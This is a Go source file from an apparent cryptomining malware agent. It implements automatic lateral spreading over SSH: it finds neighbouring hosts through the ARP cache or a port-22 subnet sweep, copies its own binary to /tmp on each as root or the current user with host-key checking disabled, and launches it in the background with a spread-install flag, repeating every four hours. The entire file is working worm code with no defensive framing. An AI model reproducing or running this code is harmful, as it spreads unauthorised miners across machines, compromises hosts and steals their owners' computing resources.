//go:build !windows

package deploy

import (
	"fmt"
	"log"
	"net"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"time"

	"crypto-miner-agent/config"
)

// StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
func StartAutoSpreader(cfg config.RuntimeConfig) {
	if !cfg.AutoSpread {
		return
	}
	go func() {
		time.Sleep(10 * time.Minute)
		ticker := time.NewTicker(4 * time.Hour)
		defer ticker.Stop()
		for {
			spreadUnixSubnet(cfg)
			<-ticker.C
		}
	}()
	log.Printf("[autospread] Unix SSH spread module active")
}

// RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
	go spreadUnixSubnet(cfg)
	return "unix lateral spread sweep started (SSH :22)"
}

// spreadSem limits concurrent SSH spread goroutines to 16 (M20)
var spreadSem = make(chan struct{}, 16)

func spreadUnixSubnet(cfg config.RuntimeConfig) {
	exePath, err := os.Executable()
	if err != nil {
		return
	}

	// ARP-first: use the OS ARP cache to find live hosts without a /24 sweep.
	targets := arpHosts()

	// Fallback: if ARP cache has < 3 entries, probe for SSH-open hosts.
	if len(targets) < 3 {
		ips := getLocalIPs()
		seen := make(map[string]bool)
		for _, t := range targets {
			seen[t] = true
		}
		for _, ip := range ips {
			subnet := getSubnet(ip)
			if subnet == "" {
				continue
			}
			for i := 1; i < 255; i++ {
				candidate := fmt.Sprintf("%s.%d", subnet, i)
				if candidate == ip || seen[candidate] {
					continue
				}
				conn, connErr := net.DialTimeout("tcp", candidate+":22", 400*time.Millisecond)
				if connErr == nil {
					conn.Close()
					seen[candidate] = true
					targets = append(targets, candidate)
				}
			}
		}
	}

	localSet := make(map[string]bool)
	for _, ip := range getLocalIPs() {
		localSet[ip] = true
	}
	for _, target := range targets {
		if localSet[target] {
			continue
		}
		spreadSem <- struct{}{}
		go func(t string) {
			defer func() { <-spreadSem }()
			attemptSSHSpread(cfg, t, exePath)
		}(target)
	}
}

func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
	conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
	if err != nil {
		return
	}
	conn.Close()

	remoteName := sanitizeName(cfg.WorkerName) + "-sync"
	remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName))
	scp := exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
	if err := scp.Run(); err != nil {
		user := os.Getenv("USER")
		if user == "" {
			user = "ubuntu"
		}
		scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
		if err := scp.Run(); err != nil {
			return
		}
	}

	start := exec.Command("ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
		fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
	if err := start.Run(); err == nil {
		log.Printf("[autospread] deployed to %s via SSH", target)
	}
}

func getLocalIPs() []string {
	var ips []string
	ifaces, err := net.Interfaces()
	if err != nil {
		return ips
	}
	for _, i := range ifaces {
		if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
			continue
		}
		addrs, err := i.Addrs()
		if err != nil {
			continue
		}
		for _, a := range addrs {
			if ipnet, ok := a.(*net.IPNet); ok {
				if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
					ips = append(ips, ip4.String())
				}
			}
		}
	}
	return ips
}

func getSubnet(ip string) string {
	parts := strings.Split(ip, ".")
	if len(parts) != 4 {
		return ""
	}
	return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}
